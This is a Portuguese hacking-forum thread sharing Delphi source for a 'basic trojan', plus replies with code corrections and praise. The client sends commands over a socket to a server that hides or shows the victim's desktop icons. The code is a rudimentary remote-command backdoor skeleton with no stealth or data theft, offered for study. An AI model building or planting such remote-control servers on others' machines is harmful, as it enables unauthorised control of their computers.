FORUM DARKERS

Trojan Básico

ae galerah!... vo postah aqui um trojan feituh em delphi!... Simpraum!... vou por u Source e depoih os .EXE com Cliente e Server! ^^ ............
Galera so tem dois comandos que eh pra vcs estudarem e tals!... qualque duvidah postah ae... pq num sie c fik Claruh pra todo Munduh! ^^ .....

mas tah ae! O/


Source du Cliente!....

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Ed_ip: TEdit;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Cliente: TClientSocket;
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
// aqui declaramos o EDIT para aceitar a conexao de IP
Cliente.address:= Ed_IP.text;
Cliente.Active:= True;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
// Declaramos o N° 1 para u server receber a informação do comanduh e executah o mesmo.. no caso Esconder Icones do Desktop do Server
Cliente.Socket.SendText('1');
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
// Idem Informação de N° 2 Mostrar Icones da Desktop
Cliente.Socket.SendText('2');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
// Desconectamos u Cliente do Server
Cliente.Active:= False;
end;

end.

===================================================

Source do server...

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    entrada: TEdit;
    Server: TServerSocket;
    procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// abaixo o evento READ do Compoent TSocketServer deve ter o seguinte comando
procedure TForm1.ServerClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
// Aqui damos o camando para q  o Edit ("Entrada") ele aceite as informaçoes do Cliente e saiba u q fazer
entrada.text:= Socket.ReceiveText;

// Declaramos a Informação a ser recebida no caso N° 1 ja ditah do Cliente
If (entrada.Text= '1') then
begin
// damos o Comando pra Esconder os Icones
ShowWindow(Findwindow(nil,'program manager'),SW_HIDE);
end;
//Declaramos novamente a Informação a ser recebida no caso N° 2 ja ditah tbm no Cliente
If (entrada.Text= '2') then
begin
// damos  comando pra mostrar os Icones da Desktop
ShowWindow(FindWindow(nil, 'program manager'),SW_SHOW);
end;
end;

end.

By Bru_nus - bugnaum

Valew cara...vai ser bom sim pra estudar!
Ate mais.

TGA

Só um acorreção no seu codigo!

Quoteprocedure TForm1.Button1Click(Sender: TObject);
begin
// aqui declaramos o EDIT para aceitar a conexao de IP
Cliente.address:= Ed_IP.text;
Cliente.Active:= True;
Cliente.address:= Ed_IP.text;
Cliente.Active:= True;
end;

o correto seria assim:
procedure TForm1.Button1Click(Sender: TObject);
begin
  { não presisa do "address" receber duas vezes o ip }
  Cliente.address:= Ed_IP.text;
 
  { Basta colocar o cliente como atio, apenas uma vez.. }
  Cliente.Active:= True;

 { Exemplo mais simplificado :
      cliente.adress := EditIP.text;
      cliente.port :=  intToStr(EditPort.text);
      cliente.open;   }
end;

vvlw..  parabens pelo codigo!   

Abroços..

Muito bom, rodrigo, mas por favor escreva de maneira mais proxima a correta. Obrigado.

TGA ->  Vlw a correção  ;D

Shady -> Pode dexa

Parabens Rodrigo e Bugnaum  pela evolução com Sockets.

Quote from: "reidecastro"Parabens Rodrigo e Bugnaum  pela evolução com Sockets.

vlws rei